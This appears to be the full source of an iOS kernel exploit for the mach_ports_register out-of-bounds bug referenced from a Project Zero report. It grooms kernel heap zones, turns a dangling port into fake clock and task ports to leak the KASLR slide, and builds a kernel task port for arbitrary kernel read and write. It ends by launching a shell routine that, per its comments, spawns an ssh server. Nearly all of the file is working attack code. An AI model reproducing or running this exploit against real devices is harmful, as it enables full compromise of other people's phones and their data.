// [1] https://bugs.chromium.org/p/project-zero/issues/detail?id=882
// [2] http://newosxbook.com/files/PhJB.pdf
// [3] https://www.slideshare.net/i0n1c/cansecwest-2017-portal-to-the-ios-core

@import Foundation;
#include <stdio.h>
#include <dlfcn.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/attr.h>
#include <mach/mach.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <sys/mount.h>
#include <spawn.h>
#include <sys/sysctl.h>
#include <sys/types.h>          
#include <sys/socket.h>

#include <stdint.h>
#include <mach/mach.h>
#include <CoreFoundation/CoreFoundation.h>

#include <mach/clock.h>
#include <errno.h>
#include <mach/task.h>

#include "__task.h"
#include "utils.h"
#include "shell.h"
#include "offsets.h"

typedef union
{
		uint32_t *p32;
		uint16_t *p16;
		uint8_t *p8;
		void *p;
		uint32_t u32;
} many_ptr_t;


extern kern_return_t __mach_ports_register
(
	task_t target_task,
	mach_port_array_t init_port_set,
	mach_msg_type_number_t init_port_setCnt
);

// Definitions not covered by standard headers
extern kern_return_t mach_zone_force_gc(mach_port_t);
extern host_name_port_t   mach_host_self(void);
kern_return_t (* mach_vm_read)(vm_map_t target_task, mach_vm_address_t address,
	       	mach_vm_size_t size, vm_offset_t *data,
	       	mach_msg_type_number_t *dataCnt);
kern_return_t (* mach_vm_read_overwrite)(vm_map_t target_task, mach_vm_address_t address,
	       	mach_vm_size_t size, mach_vm_address_t data,
	       	mach_vm_size_t *out_size);

kern_return_t (* mach_vm_write)(vm_map_t target_task, mach_vm_address_t address,
	       	vm_offset_t data, mach_msg_type_number_t dataCnt);
kern_return_t (* mach_vm_deallocate)(vm_map_t target, mach_vm_address_t address, mach_vm_size_t size);
kern_return_t (*io_service_add_notification_ool)(mach_port_t,
			char *,
			io_buf_ptr_t,
			mach_msg_type_number_t,
			mach_port_t,
			unsigned *,
			mach_msg_type_number_t,
			kern_return_t *,
			mach_port_t *);
kern_return_t (* IOMasterPort)(mach_port_t , mach_port_t *);

#define resolve(name) \
{\
	name = dlsym(RTLD_DEFAULT, ""#name"");\
	if (!name) {\
		LOG("could not resolve " #name "");\
		exit(-1);\
	}\
}\


#define BAD_ADDR ((addr_t)-1)

// Kernel offsets
static struct {
	addr_t kernel_task;
	addr_t system_clock;
	addr_t base;
} koffsets = {
	.kernel_task = 0x8038c090,
	.system_clock = 0x80338e68,
	.base = 0x80001000,
};

static mach_port_t master = MACH_PORT_NULL;
static mach_port_t tfp0 = MACH_PORT_NULL;

int __update_super_port(int pipe[2], off_t off, char *buf, void (^fill)(many_ptr_t *mp));

#define PORT_SIZE 0x70

#define IKOT_TASK 2
#define IKOT_CLOCK 25
#define IO_ACTIVE 0x80000000

#define off(x) (x)
#define off16(x) (x/2)
#define off32(x) (x/4)

#define KALLOC_8_CNT 0x800
// The amount of ports we are planing to
// decommission during allocator garbage collection.
// Each page has 0x24 ports and we are allocating
// one pipe per page. Sp this is how many ports
// we will have for 0x400 pipes. 
#define DECOM_PORTS_CNT (0x24*0x400)
#define PIPES_CNT 0xf80
#define PAGE_PORTS_CNT 0x500
#define X10_ALLOC_CNT 0x10
#define NOTIFY_CNT 0x800

#define INIT_IP_RIGHTS 0x41

void set_page_buffer_ports(char *buf, void (^fill)(many_ptr_t *mp, int ))
{
	for (int i=0; i<(PAGE_SIZE-PORT_SIZE); i+=PORT_SIZE) {
		many_ptr_t mp;
		mp.p = buf + i;
		fill(&mp, i);
	}
}

int set_super_port(int pipe[2], off_t off, void (^fill)(many_ptr_t *mp)) 
{
	char buf[PAGE_SIZE];
	memset(buf, 0, sizeof(buf));

	return __update_super_port(pipe, off, buf, fill);
}

int update_super_port(int pipe[2], off_t off, void (^fill)(many_ptr_t *mp)) 
{
	return __update_super_port(pipe, off, NULL, fill);
}

void gc() 
{
	kern_return_t kr = mach_zone_force_gc(mach_host_self());
	if (kr != KERN_SUCCESS) {
		LOG("zone gc failed: %d", kr);
	      	exit(-1);	
	}
}

int mach_ports_register_oob()
{
	mach_port_t ports[3];
	ports[0] = 0;
	ports[1] = 0;
	ports[2] = 0;
	// we've patched the generated code for mach_ports_register to only actually send one OOL port
	// but still set init_port_setCnt to the value passed here
	return __mach_ports_register(mach_task_self(), ports, 3);
}

// Trigger the bug and create a dangling port pointer.
// Returns a ports list so that dangling port memory block
// is placed somewhere amongst blocks from that list. 
mach_port_t *setup_super_port(mach_port_t *super_port, size_t ports_count)
{
	mach_port_t kalloc_8_ports[KALLOC_8_CNT];
	for (int i=0; i<KALLOC_8_CNT; i++) { 
		kalloc_8_ports[i] = alloc_port();
	}

	// We allocate a lot of ports, so they occupy full pages
	// after some point, later on when we free those
	// ports, pages are decommissioned for use by other 
	// allocation zones.
	mach_port_t *ports_to_decom = calloc(ports_count, sizeof(mach_port_t));
	for (int i=0; i<ports_count/2; i++) { 
		ports_to_decom[i] = alloc_port();
	}

	// we hope this port going to be a part of a decommissioned page
	*super_port = alloc_port();

	// allocate more pages
	for (int i=ports_count/2; i<ports_count; i++) { 
		ports_to_decom[i] = alloc_port();
	}

	// allocate ool port messages in 8-kalloc with two super_port pointers each
	for (int i=0; i<KALLOC_8_CNT; i++) { 
		kalloc_8_ool_ports(kalloc_8_ports[i], *super_port);
	}

	// free every 4th one
	for (int i=0; i<KALLOC_8_CNT; i+=4) { 
		discard_message(kalloc_8_ports[i]);
	}

	// Call bugged mach_ports_register, which is 
	// going to allocate space for two port pointers
	// (grabbing a block from 8-kalloc, which is hopefully
	// surrounded by our ool ports) and read the third one
	// out of bounds.
	kern_return_t kr = mach_ports_register_oob();
	if (kr != KERN_SUCCESS) {
		LOG("could not register oob");
		return NULL;
	}
	LOG("oob port registered ");

	// free the rest of the messages
	for (int i=1; i<KALLOC_8_CNT; i++) { 
		if (i % 4)
			discard_message(kalloc_8_ports[i]);
	}

	return ports_to_decom;
}

// We check for INIT_IP_RIGHTS + 1 in ip_srights field, which
// should have been set by mach_ports_lookup.
bool is_port_pipe(char *buf, unsigned *off)
{
	for (unsigned i=0; i<(PAGE_SIZE-PORT_SIZE); i+=PORT_SIZE) {
		many_ptr_t mp;
		mp.p = buf + i;

		if (mp.p32[off32(IPC_PORT_ip_srights)] == INIT_IP_RIGHTS + 1) {
			*off = i;
			return true;
		}
	}

	return false;
}

// we always leave pipe full, after read/write
// for consistency.
//
// -1 if failed, otherwise pipe index in @pipes array
int find_port_pipe(int * pipes, unsigned *off)
{
	for (int i=0; PIPES_CNT; i++) {

		int *pipe = &pipes[i*2];
		char buf[PAGE_SIZE-1];

		int cnt = read(pipe[0], buf, sizeof(buf));
		if (cnt != sizeof(buf)) {
			LOG("could not read pipe %d", i);
			return -1;
		}

		if (write(pipe[1], buf, sizeof(buf)) != sizeof(buf)) {
			LOG("pipe write failed");
			return -1;
		}

		if (is_port_pipe(buf, off)) {
			return i;
		}
	}

	return -1;
}

int find_in_pipes(int *pipes, unsigned *off, bool (^find)(many_ptr_t *mp))
{
	for (int i=0; PIPES_CNT; i++) {

		int *pipe = &pipes[i*2];
		char buf[PAGE_SIZE-1];

		int cnt = read(pipe[0], buf, sizeof(buf));
		if (cnt != sizeof(buf)) {
			LOG("could not read pipe %x, cnt: %d", i, cnt);
			return -1;
		}

		if (write(pipe[1], buf, sizeof(buf)) != sizeof(buf)) {
			LOG("pipe write failed");
			return -1;
		}

		for (unsigned j=0; j<PAGE_SIZE; j+=PORT_SIZE) {
			many_ptr_t mp;
			mp.p = buf + j;

			if (find(&mp)) {
				*off = j;
				return i;
			}
		}
	}

	return -1;
}

int __update_super_port(int pipe[2], off_t off, char *buf, void (^fill)(many_ptr_t *mp))
{
	char __buf[PAGE_SIZE];
	int ret = read(pipe[0], __buf, PAGE_SIZE-1);
	if (ret != PAGE_SIZE-1) {
		return -1;
	}

	if (buf == NULL)
		buf = __buf;

	many_ptr_t mp;
	mp.p = buf + off;
	fill(&mp);
	
	ret = write(pipe[1], buf, PAGE_SIZE-1);
	if (ret != PAGE_SIZE-1) {
		return -1;
	}

	return 0;
}

int super_port_read(int pipe[2], unsigned pipe_off,
		void (^reader)(many_ptr_t *mp))
{
	char buf[PAGE_SIZE];
	int ret = read(pipe[0], buf, PAGE_SIZE-1);
	if (ret != PAGE_SIZE-1) {
		return -1;
	}

	ret = write(pipe[1], buf, PAGE_SIZE-1);
	if (ret != PAGE_SIZE-1) {
		return -1;
	}

	many_ptr_t mp;
	mp.p = buf + pipe_off;
	reader(&mp);

	return 0;
}

addr_t get_kaslr_slide(mach_port_t port, int pipe[2], unsigned off)
{
	kern_return_t kr = 0;
	set_super_port(pipe, off, ^(many_ptr_t *mp) {
		mp->p32[off32(IP_OBJECT_io_bits)] = IO_ACTIVE | IKOT_CLOCK;
		mp->p32[off32(IP_OBJECT_io_references)] = 0x10;
		mp->p32[off32(IP_OBJECT_io_lock_data_lock)] = 0;
		mp->p32[off32(IP_OBJECT_io_lock_data_type)] = 0x11;
	});

	for (int i=0; i<0x200; i++) {

		addr_t slide = i << 21;

		update_super_port(pipe, off, ^(many_ptr_t *mp) {
			mp->p32[off32(IPC_PORT_kobject)] = koffsets.system_clock + slide;
		});

		kr = clock_sleep_trap(port, 0, 0, 0, 0);
		if (kr == KERN_SUCCESS) {
			return slide;
		}
	}

	return BAD_ADDR;
}

int super_port_to_tfp0(int pipe[2], unsigned off, addr_t task0, addr_t space0,
		addr_t port_addr)
{
	set_super_port(pipe, off, ^(many_ptr_t *mp) {
		mp->p32[off32(IP_OBJECT_io_bits)] = IO_ACTIVE | IKOT_TASK;
		mp->p32[off32(IP_OBJECT_io_references)] = 0x10;
		mp->p32[off32(IP_OBJECT_io_lock_data_lock)] = 0;
		mp->p32[off32(IP_OBJECT_io_lock_data_type)] = 0x11;
		mp->p32[off32(IPC_PORT_receiver)] = space0;
		mp->p32[off32(IPC_PORT_kobject)] = task0;
		// we don't do notify in mach_ports_register
		mp->p32[off32(IPC_PORT_ip_srights)] = 0x10;

		mp->p32[off32(IPC_PORT_ip_messages_imq_next)] =
	       		port_addr + IPC_PORT_ip_messages_imq_next;
		mp->p32[off32(IPC_PORT_ip_messages_imq_prev)] =
	       		port_addr + IPC_PORT_ip_messages_imq_prev;
		mp->p32[off32(IPC_PORT_ip_messages_imq_qlimit)] = 0x10;

		mp->p32[off32(0x14)] = 6;
		mp->p32[off32(0x18)] = 0;
	});

	return 0;
}

void kread(uint64_t from, void *to, size_t size)
{
#define BLOCK_SIZE 0xf00
    mach_vm_size_t outsize = size;

    size_t szt = size;
    if (size > BLOCK_SIZE) {
        size = BLOCK_SIZE;
    }

    size_t off = 0;

    while (1) {
        kern_return_t kr = mach_vm_read_overwrite(tfp0, off+from,
		       	size, (mach_vm_offset_t)(off+to), &outsize);
	if (kr != KERN_SUCCESS) {
		LOG("mach_vm_read_overwrite failed, left: %zu, kr: %d", szt, kr);
		return;
	}
        szt -= size;
        off += size;
        if (szt == 0) {
            break;
        }
        size = szt;
        if (size > BLOCK_SIZE) {
            size = BLOCK_SIZE;
        }
    }
#undef BLOCK_SIZE
}

uint32_t kr32(addr_t from)
{
	kern_return_t kr;
	vm_offset_t buf = 0;
	mach_msg_type_number_t num = 0;

	kr = mach_vm_read(tfp0,
			from,
			4,
			&buf,
			&num);

	if (kr != KERN_SUCCESS) {
		LOG("mach_vm_read failed!\n");
		return 0;
	}
	uint32_t val = *(uint32_t*)buf;
	mach_vm_deallocate(mach_task_self(), buf, num);
	return val;
}

uint32_t kw32(addr_t to, uint32_t v)
{
	kern_return_t kr;

	kr = mach_vm_write(tfp0,
			to,
			(vm_offset_t)&v,
			(mach_msg_type_number_t)4);

	if (kr != KERN_SUCCESS) {
		LOG("mach_vm_write failed!\n");
	}

	return kr;
}

int kread0_32(addr_t addr, void *result, mach_port_t super_port,
	       	mach_port_t context_port)
{
	kern_return_t kr = mach_port_set_context(mach_task_self(),
		       	context_port, addr - 8);
	if (kr != KERN_SUCCESS) {
		LOG("mach_port_set_context failed: %d", kr);
		return -1;
	}

	kr = pid_for_task(super_port, (int *)result);
	if (kr != KERN_SUCCESS) {
		LOG("pid_for_task failed: %d", kr);
		return -2;
	}
	return 0;
}

static void khexdump0(addr_t ptr, size_t n, mach_port_t port, mach_port_t ctx_port)
{
	for (int i=0; i<n; i+=2) {
		uint32_t v1, v2;
		kread0_32(ptr+i*4, &v1, port, ctx_port);
		kread0_32(ptr+(i+1)*4, &v2, port, ctx_port);

		LOG("%08X %08X", v1, v2);
	}
}

static void khexdump(addr_t ptr, size_t n)
{
	for (int i=0; i<n; i+=2) {
		uint32_t v1, v2;
		v1 = kr32(ptr+i*4);
		v2 = kr32(ptr+(i+1)*4);
		LOG("%08X %08X", v1, v2);
	}
}

void * alloc_x10_make_xml(int count, uint32_t data[4]) 
{
	char *ok_dict = malloc(0x100000);
	unsigned pos = 0;
	pos = sprintf(ok_dict, "<dict><key>a</key><array>");

	for (int i=0; i<count; i++) {
		pos += sprintf(ok_dict + pos,
			"<data format=\"hex\">%08x%08x%08x%08x</data>",
		       	htonl(data[0]), htonl(data[1]),
		       	htonl(data[2]), htonl(data[3]));
	}

	sprintf(ok_dict+pos, "</array></dict>");
	return ok_dict;
}

io_service_t alloc_x10_alloc(void *xml) 
{
	kern_return_t another_error = 0;
	io_service_t i = MACH_PORT_NULL;

	kern_return_t kr = io_service_add_notification_ool(master,
			"IOServicePublish",
			xml,
			strlen(xml)+1,
			MACH_PORT_NULL,
			NULL,
			0,
			&another_error,
			&i);

	if (kr != KERN_SUCCESS || another_error != KERN_SUCCESS) {
		LOG("io_service_add_notification_ool failed %d, %d",
				kr, another_error);
		return MACH_PORT_NULL;
	}	

	return i;
}

addr_t kread0_port_addr(addr_t space,
		mach_port_t port, mach_port_t super_port,
		mach_port_t ctx_port)
{
	addr_t is_table_size;
	addr_t is_table;
	addr_t addr;
	kern_return_t kr = KERN_SUCCESS;

	kr = kread0_32(space + SPACE_is_table_size, &is_table_size,
			super_port, ctx_port);
	if (kr != KERN_SUCCESS) {
		return 0;
	}
	
	kr = kread0_32(space + SPACE_is_table, &is_table,
			super_port, ctx_port);
	if (kr != KERN_SUCCESS) {
		return 0;
	}

	kr = kread0_32(is_table + (port >> 8)*0x10, &addr,
			super_port, ctx_port);
	if (kr != KERN_SUCCESS) {
		return 0;
	}

	return addr;
}

#include <sys/types.h>
#include <sys/sysctl.h>

// This is an exploit for vulnerability described in [1].
// 
// To start lets roughly out like the exploit process. It's very 
// similar to what detailed in [2]. The only difference
// is we don't use an information leak bug.
//
// 1. We fill up 8 bytes kalloc zone with ool ports.
// two port pointers each. We use the same port for all of them.
//
// 2. Free one ool message somewhere in the middle.
//
// 3. Trigger mach_ports_register bug to allocate
// the block we released in 2. with 8 bytes allocation for
// two port pointers and read the third port send right out of bound,
// grabbing one of the pointers we placed into ool port messages without
// proper reference.
//
// 4. Free the port we sent out of line and refill it with a pipe buffers.
//
// 6. Retrieve a dangling port send right via mach_ports_lookup.
//
// 7. Craft a fake IKOT_CLOCK port send right to get kernel slide.
//
// 8. Leak address of a port receive right using mach_port_request_notification on
// a dangling port send right backed by a pipe buffer.
//
// 9. Use leaked port receive right pointer to setup kernel read via pid_for_task as
// described in [2].
//
// 10. Use kernel read to convert dangling port into a kernel task send right.
//
// 11. Spawn ssh server and deploy gnu core utils.
//
// 12. Cleanup and exit.
int main(int argc, char** argv)
{
	kern_return_t kr = KERN_SUCCESS;

	resolve(io_service_add_notification_ool);
	resolve(IOMasterPort);
	resolve(mach_vm_read);
	resolve(mach_vm_read_overwrite);
	resolve(mach_vm_write);
	resolve(mach_vm_deallocate);

	kr = IOMasterPort(MACH_PORT_NULL, &master);
	LOG("master port: %x, kr: %d\n", master, kr);

	// First we stop all other thread to reduce the "noise"
	for_other_threads(^(thread_act_t t) {
		kern_return_t kr = thread_suspend(t);
		if (kr != KERN_SUCCESS) 
			LOG("could not suspend a thread");
	});

	// Set file limit for our process as high as possible,
	// since we are using pipes as refill
	set_nofile_limit();

	int pipes[PIPES_CNT][2];

	mach_port_t *ports_to_decom;
	mach_port_t super_port;

	// We are going to reclaim decommissioned pages
	// with page size allocations via pipes.
	// Prepare the buffer first.
	char pipe_buf[PAGE_SIZE];
	memset(pipe_buf, 0, sizeof(pipe_buf));

	// We prepare a very minimal refill, so we don't panic
	// in mach_ports_lookup trap when it needs to
	// take port lock.
	set_page_buffer_ports(pipe_buf, ^(many_ptr_t *mp, int i) {
		mp->p32[off32(IP_OBJECT_io_bits)] = IO_ACTIVE;
		mp->p32[off32(IP_OBJECT_io_lock_data_lock)] = 0;
		mp->p32[off32(IP_OBJECT_io_lock_data_type)] = 0x11;
		// we set ip_srights to some distinct value, the function
		// mach_ports_lookup returns as back a send right 
		// to the port, hence it increments ip_srights.
		// We are going to use that later on to find the
		// pipe buffer which captured the pages used
		// for the super port.
		mp->p32[off32(IPC_PORT_ip_srights)] = INIT_IP_RIGHTS;
	});

	// create pipe files first
	if (pipes_create((int *)pipes, PIPES_CNT) < 0) {
		LOG("could not create pipes");
		return -1;
	}

	// Allocate DECOM_PORTS_CNT ports continuously after some point 
	// and mark one "super" port somewhere in the middle. 
	// The super port is returned back via super_port argument.
	//
	// We places super_port without a proper reference into task's itk_registered
	// using a bogus mach_ports_register call.
	ports_to_decom = setup_super_port(&super_port, DECOM_PORTS_CNT);
	if (ports_to_decom == NULL) {
		return -1;
	}

	// exhaust PAGE_SIZE zone so once we trigger the garbage collection
	// the allocator is going to start requesting the "fresh" pages.
	mach_port_t page_ports[PAGE_PORTS_CNT];

	for (int i=0; i<PAGE_PORTS_CNT; i++) {
		page_ports[i] = alloc_port();
		// allocate a page via mach ool messages
		kalloc_page_ool_ports(page_ports[i]);
	}

	// Free pages to decommission from ports zone.
	for (int i=0; i<DECOM_PORTS_CNT; i++) { 
		mach_port_destroy(mach_task_self(), ports_to_decom[i]);
	}
	// Release the super port currently residing in 
	// itk_registered task_t field.
	mach_port_destroy(mach_task_self(), super_port);
	// Trigger garbage collection
	gc();
	// Refill decommissioned port pages with pipe buffers
	pipes_alloc((int *)pipes, PIPES_CNT, pipe_buf);

	mach_port_t *ports = NULL;
	mach_msg_type_number_t cnt = 3;

	// Get the dangling port pointer back while incrementing
	// ip_srights field.
	kr = mach_ports_lookup(mach_task_self(), (mach_port_t **)&ports, &cnt);
	if (kr != KERN_SUCCESS) {
		LOG("mach_ports_lookup failed %x\n", kr);
		return -1;
	}

	super_port = ports[2];
	LOG("got fake pipe port: %d", super_port);

	// offset within the page where the super port used to reside.
	unsigned pipe_off;
	// the pipe buffer which reclaimed the super port page.
	int super_pipe[2];

	int pipe_idx = find_port_pipe((int *)pipes, &pipe_off);

	if (pipe_idx >= 0) {
		LOG("got port pipe %d, off: %04x\n", pipe_idx, pipe_off);
	} else {
		LOG("could not find port pipe");
		exit(-1);
	}

	super_pipe[0] = pipes[pipe_idx][0];
	super_pipe[1] = pipes[pipe_idx][1];

	pipes[pipe_idx][0] = -1;
	pipes[pipe_idx][1] = -1;
	pipes_close((int *)pipes, PIPES_CNT);

	// We have a send right to a port and full control over
	// the backing memory via a pipe.
	// 
	// We use method described in [3] to get kernel ASLR slide.
	addr_t slide = get_kaslr_slide(super_port, super_pipe, pipe_off);
	LOG("slide: %08lx", slide);

	// Now we want to get kernel read using pid_for_task trap trick.
	// The details on that can be found in [2]. 
	//
	// With control over content of a sand right we can setup a task send right.
	// To get a kernel read we would need to have control of at least 4 bytes at
	// a known kernel address (KA). Then we can point our send right task object
	// to KA - offsetof(struct task, bsd_proc) and place the address we want
	// to read from at KA.
	// 
	// To achieve that we are going to leak address of a receive port right
	// we can control and use mach_port_set_context to place the address we
	// want to read at known address. (port_t ip_context field).
	//
	// To leak a port address we setup up our super_port so we can register
	// a notification port for MACH_NOTIFY_DEAD_NAME via 
	// mach_port_request_notification.
	set_super_port(super_pipe, pipe_off, ^(many_ptr_t *mp) {
		mp->p32[off32(IP_OBJECT_io_bits)] = IO_ACTIVE;
		mp->p32[off32(IP_OBJECT_io_references)] = 0x10;
		mp->p32[off32(IP_OBJECT_io_lock_data_lock)] = 0;
		mp->p32[off32(IP_OBJECT_io_lock_data_type)] = 0x11;
		mp->p32[off32(IPC_PORT_ip_srights)] = 99;
		mp->p32[off32(IPC_PORT_ip_messages_imq_qlimit)] = 99;
		mp->p32[off32(IPC_PORT_ip_messages_imq_msgcount)] = 0;
	});

	mach_port_t old;

	// For pid_for_task call to work we need to make sure
	// our fake task object has non zero reference counter.
	// The task reference counter field would land at
	// ip_pdrequest field of a port located before the port we 
	// are using to place our address at ip_context. So we spam
	// ports with non zero ip_pdrequest, before allocating 
	// the port.
        mach_port_t notify_ports[NOTIFY_CNT];
	mach_port_t ref_port = alloc_port();

	for (int i=0; i<NOTIFY_CNT/2; i++) {
		notify_ports[i] = alloc_port();
		// set ip_pdrequest to ref_port address
		kr = mach_port_request_notification(mach_task_self(), notify_ports[i],
				MACH_NOTIFY_PORT_DESTROYED, 0, ref_port, 
				MACH_MSG_TYPE_MAKE_SEND_ONCE, &old);

		if (kr != KERN_SUCCESS) {
			LOG("mach_port_request_notification failed, %x", kr);
		}
	}

	// create a port to leak the address of 
	mach_port_t notify_port = alloc_port();

	for (int i=NOTIFY_CNT/2; i<NOTIFY_CNT; i++) {
		notify_ports[i] = alloc_port();
		kr = mach_port_request_notification(mach_task_self(), notify_ports[i],
				MACH_NOTIFY_PORT_DESTROYED, 0, ref_port, 
				MACH_MSG_TYPE_MAKE_SEND_ONCE, &old);

		if (kr != KERN_SUCCESS) {
			LOG("mach_port_request_notification failed, %x", kr);
		}
	}

	uint32_t data[4];
	memset(data, 0x41, sizeof(data));

	// Since ip_requests is NULL our call to mach_port_request_notification
	// is going to allocate array of two ipc_port_request structures from 16-kalloc zone
	// to be able to place one notification port.
	// 
	// struct ipc_port_request {
	//	union {
	//		struct ipc_port *port;
	//		ipc_port_request_index_t index;
	//	} notify;
	//
	// 	union {
	//		mach_port_name_t name;
	//		struct ipc_table_size *size;
	//	} name;
	// };

	//
	// We want to have some control over the content of the blocks 
	// around where that 16 bytes block is allocated.
	//
	// To allocate blocks with controlled data and size we are going to
	// use io_service_add_notification_ool, as described in [2].
	//
	// First we prepare the xml content to trigger the allocations.
	void *xml_many = alloc_x10_make_xml(0x800, data);

	// fill up 16-kalloc, so further allocation are more
	// predictable.
	for (int i=0; i<0x20; i++) {
		alloc_x10_alloc(xml_many);
	}

	void *xml_single = alloc_x10_make_xml(1, data);

	mach_port_t x10_ports_many[X10_ALLOC_CNT];
	mach_port_t x10_ports_single[X10_ALLOC_CNT];

	// we allocate large amount of 16 byte blocks
	for (int i=0; i<X10_ALLOC_CNT; i++) {
		x10_ports_many[i] = alloc_x10_alloc(xml_many);
		x10_ports_single[i] = alloc_x10_alloc(xml_single);
	}

	// Free some of them to "punch holes" in 16-kalloc which
	// are surrounded by blocks we control.
	for (int i=X10_ALLOC_CNT; i<X10_ALLOC_CNT; i++) {
		mach_port_destroy(mach_task_self(), x10_ports_single[i]);
	}
	// Call to mach_port_request_notification allocates 0x10 bytes
	// (two ipc_port_request structs), filling one of the holes 
	// and stores the block at ip_requests field of ipc_port.
	//
	// First item in ip_requests has notify.index field indicating first empty
	// record position, name.size points to the size of the table.
	// 
	// The second one contains our notification port,
	// notify_port is stored as notify.port at offset 8 
	kr = mach_port_request_notification(mach_task_self(), super_port,
			MACH_NOTIFY_DEAD_NAME, 0, notify_port, 
			MACH_MSG_TYPE_MAKE_SEND_ONCE, &old);
	if (kr != KERN_SUCCESS) {
		LOG("mach_port_request_notification failed kr: %x", kr);
		exit(-1);
	}

	// Read back the value allocated via ip_requests.
	__block addr_t ip_requests = 0;
	super_port_read(super_pipe, pipe_off, ^(many_ptr_t *mp) {
		ip_requests = mp->p32[off32(IPC_PORT_ip_requests)];
	});
	LOG("got ip_requests: %lx", ip_requests);

	// -8 we need for +8 pid offset in proc structure.
	// + 8 is for second ipc_port_request record.
	data[0] = ip_requests - 8 + 8;

	free(xml_many);
	// now prepare another xml to replace the block we allocated
	// before with new data. We place our ip_requests pointer at 
	// offset 0. 
	xml_many = alloc_x10_make_xml(0x1000, data);

	// free the previous allocation
	for (int i=0; i<X10_ALLOC_CNT; i++) {
		mach_port_destroy(mach_task_self(), x10_ports_many[i]);
	}

	// and refill with new content
	for (int i=0; i<X10_ALLOC_CNT; i++) {
		x10_ports_many[i] = alloc_x10_alloc(xml_many);
	}
		
	// We hope that ip_requests + 0x10 was refilled with our
	// data which has ip_requests pointer at offset 0. 
	//
	// Now we setup a task port and point kobject to 
	// ip_requests - offsetof(struct task, bsd_proc) + 0x10,
	// so when we call pid_for_task on it we are going to
	// get ip_requests + 8, which is the address of notify_port
	// we placed there before.
	set_super_port(super_pipe, pipe_off, ^(many_ptr_t *mp) {
		mp->p32[IP_OBJECT_io_bits] = IO_ACTIVE | IKOT_TASK;
		// set reference counter so the port is never released
		mp->p32[off32(IP_OBJECT_io_references)] = 0x10;
		mp->p32[off32(IP_OBJECT_io_lock_data_lock)] = 0;
		mp->p32[off32(IP_OBJECT_io_lock_data_type)] = 0x11;
		mp->p32[off32(IPC_PORT_kobject)] = ip_requests - TASK_bsd_proc + 0x10;
		mp->p32[off32(IPC_PORT_ip_srights)] = 0x10;
		mp->p32[off32(IPC_PORT_ip_requests)] = ip_requests;
	});

	addr_t notify_port_addr;
	kr = pid_for_task(super_port, (int *)&notify_port_addr);
	if (kr != KERN_SUCCESS) {
		LOG("pid_for_task failed");
		exit(-1);
	}
	LOG("notify addr: %lx", notify_port_addr);
	// Update the content of the task port so when we call pid_for_task
	// it's going to use the value of notify_port ip_context field
	// as bsd_info.
	update_super_port(super_pipe, pipe_off, ^(many_ptr_t *mp) {
		mp->p32[off32(IPC_PORT_kobject)] = notify_port_addr - TASK_bsd_proc + IPC_PORT_ip_context;
	});

	uint32_t dummy = 0;
	if (kread0_32(koffsets.base + slide, &dummy, super_port, notify_port) < 0) {
		LOG("early kernel read failed");
		exit(-1);
	}
	if (dummy != 0xFEEDFACE) {
		LOG("could not setup early kernel read");
		exit(-1);
	}
	LOG("got early kernel read");

	// remove our notification port, to be able to safely release the 
	// super_port later on.
	kr = mach_port_request_notification(mach_task_self(), super_port,
			MACH_NOTIFY_DEAD_NAME, 0, MACH_PORT_NULL, 
			MACH_MSG_TYPE_MAKE_SEND_ONCE, &old);
	if (kr != KERN_SUCCESS) {
		LOG("mach_port_request_notification failed kr: %x", kr);
		exit(-1);
	}

	// The only thing left to get arbitrary kernel read/write is to
	// obtain some kernel artifacts.
	addr_t kernel_task;
	if (kread0_32(koffsets.kernel_task + slide, (uint32_t *)&kernel_task,
		       	super_port, notify_port) < 0) {
		exit(0);
	}
	LOG("kernel_task: %lx", kernel_task);

	addr_t kernel_space;
	addr_t kernel_itk_self;
	kread0_32(kernel_task + TASK_itk_self, (uint32_t *)&kernel_itk_self,
			super_port, notify_port);
	kread0_32(kernel_itk_self + IPC_PORT_receiver, (uint32_t *)&kernel_space,
			super_port, notify_port);

	LOG("kernel_space: %lx", kernel_space);

	addr_t self_space;
	kread0_32(notify_port_addr + IPC_PORT_receiver, &self_space,
				super_port, notify_port);
	addr_t super_port_addr = kread0_port_addr(self_space, super_port,
		       	super_port, notify_port);

	LOG("super_port_addr: %lx", super_port_addr);

	// setup port for kernel task as outlined in [2]
	super_port_to_tfp0(super_pipe, pipe_off, kernel_task, kernel_space,
			super_port_addr);
	LOG("got tfp0");
	tfp0 = super_port;

	// resume thread, otherwise we lose some of 
	// objective-C runtime functionality.
	for_other_threads(^(thread_act_t t) {
		kern_return_t kr = thread_resume(t);
		if (kr != KERN_SUCCESS) 
			LOG("could not resume a thread");
	});

	shell_main(self_space, slide);

	ports[0] = 0;
	ports[1] = 0;
	ports[2] = 0;
	mach_ports_register(mach_task_self(), ports, 3);

	mach_port_destroy(mach_task_self(), tfp0);
	close(super_pipe[0]);
	close(super_pipe[1]);
	exit(0);
	
	return 0;
}
